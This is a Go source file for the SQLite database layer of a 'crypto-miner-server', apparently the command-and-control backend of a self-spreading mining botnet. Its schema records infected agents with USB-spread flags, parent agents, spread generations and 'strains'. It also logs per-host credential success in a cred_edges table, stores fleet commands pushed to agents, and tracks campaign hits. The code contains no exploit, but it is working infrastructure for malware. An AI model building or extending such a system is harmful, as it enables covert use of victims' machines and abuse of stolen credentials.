Files
AetherForge/server/internal/db/sqlite.go
AetherForge d605ef4adb
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Strain Hospice for graceful low-win strain retirement.
Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.
2026-06-07 09:26:39 -07:00

703 lines
26 KiB
Go

package db
import (
"database/sql"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"time"
"crypto-miner-server/internal/models"
_ "modernc.org/sqlite"
)
type Database struct {
*sql.DB
}
func New(dataDir string) (*Database, error) {
dbPath := filepath.Join(dataDir, "miner.db")
if err := os.MkdirAll(filepath.Dir(dbPath), 0755); err != nil {
return nil, fmt.Errorf("create data directory: %w", err)
}
db, err := sql.Open("sqlite", dbPath+"?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)")
if err != nil {
return nil, fmt.Errorf("failed to open database: %w", err)
}
// SQLite only supports one concurrent writer; a single open connection
// avoids WAL write-lock contention and SQLITE_BUSY under load.
db.SetMaxOpenConns(1)
d := &Database{db}
if err := d.migrate(); err != nil {
return nil, fmt.Errorf("failed to migrate database: %w", err)
}
return d, nil
}
func (d *Database) migrate() error {
migrations := []string{
`CREATE TABLE IF NOT EXISTS agents (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
wallet TEXT NOT NULL DEFAULT '',
ip TEXT NOT NULL DEFAULT '',
version TEXT NOT NULL DEFAULT '',
status TEXT NOT NULL DEFAULT 'offline',
cpu_cores INTEGER NOT NULL DEFAULT 0,
memory_gb INTEGER NOT NULL DEFAULT 0,
last_seen DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
hashrate_15s REAL NOT NULL DEFAULT 0,
hashrate_1m REAL NOT NULL DEFAULT 0,
hashrate_15m REAL NOT NULL DEFAULT 0,
shares_total INTEGER NOT NULL DEFAULT 0,
shares_good INTEGER NOT NULL DEFAULT 0,
shares_bad INTEGER NOT NULL DEFAULT 0,
cpu_usage_pct REAL NOT NULL DEFAULT 0,
memory_usage_pct REAL NOT NULL DEFAULT 0,
uptime_seconds INTEGER NOT NULL DEFAULT 0
)`,
`CREATE TABLE IF NOT EXISTS shares (
id INTEGER PRIMARY KEY AUTOINCREMENT,
agent_id TEXT NOT NULL,
job_id TEXT NOT NULL,
difficulty INTEGER NOT NULL DEFAULT 0,
accepted INTEGER NOT NULL DEFAULT 0,
hash TEXT NOT NULL DEFAULT '',
nonce TEXT NOT NULL DEFAULT '',
error TEXT NOT NULL DEFAULT '',
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS hashrate_samples (
id INTEGER PRIMARY KEY AUTOINCREMENT,
agent_id TEXT NOT NULL,
hashrate REAL NOT NULL DEFAULT 0,
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS jobs (
id TEXT PRIMARY KEY,
height INTEGER NOT NULL DEFAULT 0,
difficulty INTEGER NOT NULL DEFAULT 0,
block_template TEXT NOT NULL DEFAULT '',
seed_hash TEXT NOT NULL DEFAULT '',
target TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS builds (
id TEXT PRIMARY KEY,
worker_name TEXT NOT NULL,
server_url TEXT NOT NULL,
wallet TEXT NOT NULL,
threads INTEGER NOT NULL DEFAULT 0,
file_size INTEGER NOT NULL DEFAULT 0,
file_path TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
pool_host TEXT NOT NULL DEFAULT '',
pool_port INTEGER NOT NULL DEFAULT 0,
pool_tls INTEGER NOT NULL DEFAULT 0,
pool_pass TEXT NOT NULL DEFAULT ''
)`,
`CREATE INDEX IF NOT EXISTS idx_shares_agent ON shares(agent_id)`,
`CREATE INDEX IF NOT EXISTS idx_shares_timestamp ON shares(timestamp)`,
`CREATE INDEX IF NOT EXISTS idx_hashrate_agent ON hashrate_samples(agent_id)`,
`CREATE INDEX IF NOT EXISTS idx_hashrate_timestamp ON hashrate_samples(timestamp)`,
}
for _, m := range migrations {
if _, err := d.Exec(m); err != nil {
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
}
}
// Best-effort schema upgrades for existing databases.
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN extra_files TEXT NOT NULL DEFAULT '[]'`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN pinned INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_hashrate_15m REAL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN parent_agent_id TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_generation INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_strain TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_source_strain TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_tier TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_approved_at DATETIME`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
extraMigrations := []string{
`CREATE TABLE IF NOT EXISTS audit_log (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
username TEXT NOT NULL DEFAULT '',
action TEXT NOT NULL,
agent_id TEXT NOT NULL DEFAULT '',
detail TEXT NOT NULL DEFAULT '{}'
)`,
`CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp)`,
`CREATE TABLE IF NOT EXISTS fleet_tasks (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
enabled INTEGER NOT NULL DEFAULT 1,
trigger TEXT NOT NULL,
interval_hours REAL NOT NULL DEFAULT 0,
cron_time TEXT NOT NULL DEFAULT '',
action TEXT NOT NULL,
command TEXT NOT NULL DEFAULT '',
target TEXT NOT NULL DEFAULT 'all',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS fleet_task_runs (
agent_id TEXT NOT NULL,
task_id TEXT NOT NULL,
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (agent_id, task_id)
)`,
`CREATE TABLE IF NOT EXISTS campaign_hits (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign TEXT NOT NULL DEFAULT '',
build_id TEXT NOT NULL DEFAULT '',
source TEXT NOT NULL DEFAULT '',
event_type TEXT NOT NULL DEFAULT '',
ip TEXT NOT NULL DEFAULT '',
user_agent TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_event ON campaign_hits(event_type)`,
`CREATE TABLE IF NOT EXISTS cred_edges (
id INTEGER PRIMARY KEY AUTOINCREMENT,
host TEXT NOT NULL,
subnet TEXT NOT NULL,
credential_profile_id TEXT NOT NULL,
success INTEGER NOT NULL DEFAULT 0,
method TEXT NOT NULL DEFAULT '',
agent_id TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`,
`CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`,
`CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`,
`CREATE TABLE IF NOT EXISTS tier_outcomes (
id INTEGER PRIMARY KEY AUTOINCREMENT,
agent_id TEXT NOT NULL,
fingerprint_key TEXT NOT NULL,
tier TEXT NOT NULL,
ok INTEGER NOT NULL DEFAULT 0,
hashrate REAL NOT NULL DEFAULT 0,
phase TEXT NOT NULL DEFAULT 'mining',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_fingerprint ON tier_outcomes(fingerprint_key)`,
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_tier ON tier_outcomes(tier)`,
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_created ON tier_outcomes(created_at)`,
`CREATE TABLE IF NOT EXISTS agent_strategy_cache (
agent_id TEXT PRIMARY KEY,
fingerprint_key TEXT NOT NULL,
strategy_json TEXT NOT NULL,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS failure_atlas (
id INTEGER PRIMARY KEY AUTOINCREMENT,
fingerprint_bucket TEXT NOT NULL,
condition TEXT NOT NULL,
tier TEXT NOT NULL,
fail_count INTEGER NOT NULL DEFAULT 0,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
UNIQUE(fingerprint_bucket, condition, tier)
)`,
`CREATE INDEX IF NOT EXISTS idx_failure_atlas_bucket ON failure_atlas(fingerprint_bucket)`,
`CREATE INDEX IF NOT EXISTS idx_failure_atlas_tier ON failure_atlas(tier)`,
`CREATE TABLE IF NOT EXISTS fleet_phenotypes (
id TEXT PRIMARY KEY,
fingerprint TEXT NOT NULL UNIQUE,
source_agent_id TEXT NOT NULL,
source_agent_name TEXT NOT NULL,
os TEXT NOT NULL DEFAULT '',
spread_lane TEXT NOT NULL DEFAULT '',
active_tier TEXT NOT NULL DEFAULT '',
tier_order_json TEXT NOT NULL DEFAULT '[]',
peak_hashrate REAL NOT NULL DEFAULT 0,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`,
`CREATE TABLE IF NOT EXISTS strain_cards (
id TEXT PRIMARY KEY,
root_agent_id TEXT NOT NULL UNIQUE,
source_agent_id TEXT NOT NULL,
source_agent_name TEXT NOT NULL DEFAULT '',
spread_strain TEXT NOT NULL DEFAULT '',
spread_lane TEXT NOT NULL DEFAULT '',
persona TEXT NOT NULL DEFAULT 'balanced',
card_json TEXT NOT NULL DEFAULT '{}',
peak_hashrate REAL NOT NULL DEFAULT 0,
erasure_recovery_rate REAL NOT NULL DEFAULT 0,
tree_size INTEGER NOT NULL DEFAULT 0,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_strain_cards_source ON strain_cards(source_agent_id)`,
`CREATE TABLE IF NOT EXISTS pathtrace_sessions (
id TEXT PRIMARY KEY,
created_at DATETIME NOT NULL,
payload TEXT NOT NULL
)`,
`CREATE INDEX IF NOT EXISTS idx_pathtrace_sessions_created ON pathtrace_sessions(created_at)`,
}
if err := d.ensureStrainMemoryTable(); err != nil {
return fmt.Errorf("strain_memory migration: %w", err)
}
if err := d.ensureStrainHospiceTable(); err != nil {
return fmt.Errorf("strain_hospice migration: %w", err)
}
if err := d.ensureOathLedgerTable(); err != nil {
return fmt.Errorf("oath_ledger migration: %w", err)
}
if err := d.ensureSeerTables(); err != nil {
return fmt.Errorf("seer migration: %w", err)
}
for _, m := range extraMigrations {
if _, err := d.Exec(m); err != nil {
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
}
}
_, _ = d.Exec(`ALTER TABLE campaign_hits ADD COLUMN event_type TEXT NOT NULL DEFAULT ''`)
scaleIndexes := []string{
`CREATE INDEX IF NOT EXISTS idx_agents_status ON agents(status)`,
`CREATE INDEX IF NOT EXISTS idx_agents_last_seen ON agents(last_seen)`,
`CREATE INDEX IF NOT EXISTS idx_agents_status_last_seen ON agents(status, last_seen)`,
`CREATE INDEX IF NOT EXISTS idx_fleet_task_runs_agent ON fleet_task_runs(agent_id)`,
}
for _, m := range scaleIndexes {
if _, err := d.Exec(m); err != nil {
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
}
}
return nil
}
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign, parent_agent_id, spread_generation, spread_strain)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = CASE WHEN agents.name != '' AND agents.name != agents.hostname THEN agents.name ELSE excluded.name END,
wallet = excluded.wallet,
ip = excluded.ip,
version = excluded.version,
status = excluded.status,
cpu_cores = excluded.cpu_cores,
memory_gb = excluded.memory_gb,
last_seen = excluded.last_seen,
platform = excluded.platform,
arch = excluded.arch,
os_version = excluded.os_version,
hostname = excluded.hostname,
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
usb_spread = excluded.usb_spread,
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END,
parent_agent_id = CASE WHEN excluded.parent_agent_id != '' THEN excluded.parent_agent_id ELSE parent_agent_id END,
spread_generation = CASE WHEN excluded.spread_generation > 0 OR excluded.parent_agent_id != '' THEN excluded.spread_generation ELSE spread_generation END,
spread_strain = CASE WHEN excluded.spread_strain != '' THEN excluded.spread_strain ELSE spread_strain END`
usb := 0
if a.USBSpread {
usb = 1
}
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign, a.ParentAgentID, a.SpreadGeneration, a.SpreadStrain)
return err
}
func (d *Database) UpdateAgentStats(id string, hashrate15s, hashrate1m, hashrate15m float64, sharesTotal, sharesGood, sharesBad int, cpuPct, memPct float64, uptime int) error {
query := `UPDATE agents SET
hashrate_15s = ?, hashrate_1m = ?, hashrate_15m = ?,
shares_total = ?, shares_good = ?, shares_bad = ?,
cpu_usage_pct = ?, memory_usage_pct = ?, uptime_seconds = ?,
last_seen = CURRENT_TIMESTAMP, status = 'online'
WHERE id = ?`
_, err := d.Exec(query, hashrate15s, hashrate1m, hashrate15m, sharesTotal, sharesGood, sharesBad, cpuPct, memPct, uptime, id)
return err
}
func (d *Database) UpdateAgentGPUStats(agentID string, hashrate float64, model string, active bool) error {
_, err := d.Exec(
`UPDATE agents SET gpu_hashrate_15m = ?, gpu_model = ?, gpu_miner_active = ? WHERE id = ?`,
hashrate, model, boolToInt(active), agentID,
)
return err
}
func (d *Database) SetAgentOffline(id string) error {
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE id = ?", id)
return err
}
// MarkAllAgentsOffline resets every agent row to offline. Called once at
// server startup so rows left online by a previous crash are corrected
// before any agent has had a chance to reconnect.
func (d *Database) MarkAllAgentsOffline() error {
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE status = 'online'")
return err
}
// MarkStaleAgentsOffline marks agents offline when their last_seen timestamp
// is older than the given staleness threshold. Returns the number of rows
// updated so the caller can emit a log line when something actually changed.
func (d *Database) MarkStaleAgentsOffline(olderThan time.Duration) (int, error) {
cutoff := time.Now().Add(-olderThan)
res, err := d.Exec(
"UPDATE agents SET status = 'offline' WHERE status = 'online' AND last_seen < ?",
cutoff,
)
if err != nil {
return 0, err
}
n, _ := res.RowsAffected()
return int(n), nil
}
func (d *Database) DeleteAgent(id string) error {
_, err := d.Exec("DELETE FROM agents WHERE id = ?", id)
return err
}
// FindAgentByMAC returns the agent ID for an agent whose MAC address matches.
// Returns ("", nil) when no match is found.
func (d *Database) FindAgentByMAC(mac string) (string, error) {
if mac == "" {
return "", nil
}
var id string
err := d.QueryRow("SELECT id FROM agents WHERE mac_address = ? LIMIT 1", mac).Scan(&id)
if err == sql.ErrNoRows {
return "", nil
}
return id, err
}
func (d *Database) GetAgent(id string) (*models.Agent, error) {
query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?`
return d.scanAgent(d.QueryRow(query, id))
}
func (d *Database) ListAgents() ([]*models.Agent, error) {
query := `SELECT ` + agentSelectCols + ` FROM agents ORDER BY last_seen DESC`
rows, err := d.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
var agents []*models.Agent
for rows.Next() {
a, err := d.scanAgent(rows)
if err != nil {
return nil, err
}
agents = append(agents, a)
}
if err := rows.Err(); err != nil {
return nil, err
}
return agents, nil
}
// Share operations
func (d *Database) InsertShare(s *models.Share) (int64, error) {
query := `INSERT INTO shares (agent_id, job_id, difficulty, accepted, hash, nonce, error, timestamp) VALUES (?, ?, ?, ?, ?, ?, ?, ?)`
res, err := d.Exec(query, s.AgentID, s.JobID, s.Difficulty, boolToInt(s.Accepted), s.Hash, s.Nonce, s.Error, s.Timestamp)
if err != nil {
return 0, err
}
return res.LastInsertId()
}
func (d *Database) UpdateShareResult(id int64, accepted bool, errMsg string) error {
query := `UPDATE shares SET accepted = ?, error = ? WHERE id = ?`
_, err := d.Exec(query, boolToInt(accepted), errMsg, id)
return err
}
func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
query := `SELECT id, agent_id, job_id, difficulty, accepted, hash, nonce, error, timestamp FROM shares ORDER BY timestamp DESC LIMIT ?`
rows, err := d.Query(query, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var shares []*models.Share
for rows.Next() {
s := &models.Share{}
var accepted int
if err := rows.Scan(&s.ID, &s.AgentID, &s.JobID, &s.Difficulty, &accepted, &s.Hash, &s.Nonce, &s.Error, &s.Timestamp); err != nil {
return nil, err
}
s.Accepted = accepted == 1
shares = append(shares, s)
}
if err := rows.Err(); err != nil {
return nil, err
}
return shares, nil
}
// Hashrate operations
func (d *Database) InsertHashrateSample(agentID string, hashrate float64, gpuHashrate float64) error {
_, err := d.Exec(
"INSERT INTO hashrate_samples (agent_id, hashrate, gpu_hashrate, timestamp) VALUES (?, ?, ?, ?)",
agentID, hashrate, gpuHashrate, time.Now(),
)
return err
}
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
query := `SELECT id, agent_id, hashrate, gpu_hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
rows, err := d.Query(query, agentID, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var samples []*models.HashrateSample
for rows.Next() {
s := &models.HashrateSample{}
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.GPUHashrate, &s.Timestamp); err != nil {
return nil, err
}
samples = append(samples, s)
}
if err := rows.Err(); err != nil {
return nil, err
}
return samples, nil
}
// Build operations
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned, public`
func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
if len(files) == 0 {
return "[]"
}
b, err := json.Marshal(files)
if err != nil {
return "[]"
}
return string(b)
}
func decodeBuildExtraFiles(raw string) []models.BuildExtraFile {
raw = strings.TrimSpace(raw)
if raw == "" || raw == "[]" || raw == "null" {
return nil
}
var files []models.BuildExtraFile
if err := json.Unmarshal([]byte(raw), &files); err != nil {
return nil
}
return files
}
func scanBuild(row interface {
Scan(...any) error
}) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
var pinnedInt, publicInt int
var extraFilesRaw string
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt, &publicInt)
b.Pinned = pinnedInt == 1
b.Public = publicInt == 1
b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
return b, err
}
func (d *Database) InsertBuild(b *models.BuildRecord) error {
_, err := d.Exec(`INSERT INTO builds
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
b.FilePath, b.FileName, b.DownloadURL, encodeBuildExtraFiles(b.ExtraFiles), b.Platform, b.CreatedAt,
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
return err
}
func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
}
// GetLatestBuildForPlatform returns the pinned build for the given platform
// (or any platform when empty), falling back to the most-recently-created build.
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
// 1. Pinned build for this platform (exact match)
if platform != "" && platform != "any" {
b, err := scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE pinned = 1 AND platform = ? LIMIT 1`, platform))
if err == nil {
return b, nil
}
}
// 2. Any pinned build (universal or first pinned regardless of platform)
b, err := scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC LIMIT 1`))
if err == nil {
return b, nil
}
// 3. Latest by creation time, filtered by platform when given
if platform == "" || platform == "any" {
b, err = scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`))
} else {
b, err = scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`, platform))
}
if err != nil {
return nil, err
}
return b, nil
}
// SetPinnedBuild unpins all builds then pins the one with the given id.
// If id is empty, all builds are unpinned. Returns an error when id is
// non-empty but no build row matches (avoids leaving all builds unpinned).
// Both UPDATEs run in a single transaction so a crash mid-way cannot leave
// the table in a half-pinned state.
func (d *Database) SetPinnedBuild(id string) error {
tx, err := d.Begin()
if err != nil {
return err
}
defer tx.Rollback() //nolint:errcheck
if _, err := tx.Exec(`UPDATE builds SET pinned = 0`); err != nil {
return err
}
if id != "" {
res, err := tx.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
if err != nil {
return err
}
n, err := res.RowsAffected()
if err != nil {
return err
}
if n == 0 {
return fmt.Errorf("build not found: %s", id)
}
}
return tx.Commit()
}
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var builds []*models.BuildRecord
for rows.Next() {
b, err := scanBuild(rows)
if err != nil {
return nil, err
}
builds = append(builds, b)
}
if err := rows.Err(); err != nil {
return nil, err
}
return builds, nil
}
// Stats
type FleetStats struct {
TotalAgents int `json:"total_agents"`
OnlineAgents int `json:"online_agents"`
TotalHashrate float64 `json:"total_hashrate"`
TotalGPUHashrate float64 `json:"total_gpu_hashrate"`
TotalShares int `json:"total_shares"`
AcceptedShares int `json:"accepted_shares"`
RejectedShares int `json:"rejected_shares"`
AcceptRate float64 `json:"accept_rate"`
}
func (d *Database) GetFleetStats() (*FleetStats, error) {
stats := &FleetStats{}
err := d.QueryRow("SELECT COUNT(*) FROM agents").Scan(&stats.TotalAgents)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&stats.OnlineAgents)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalHashrate)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(gpu_hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalGPUHashrate)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_total), 0) FROM agents").Scan(&stats.TotalShares)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_good), 0) FROM agents").Scan(&stats.AcceptedShares)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_bad), 0) FROM agents").Scan(&stats.RejectedShares)
if err != nil {
return nil, err
}
if stats.TotalShares > 0 {
stats.AcceptRate = float64(stats.AcceptedShares) / float64(stats.TotalShares) * 100
}
return stats, nil
}
func boolToInt(b bool) int {
if b {
return 1
}
return 0
}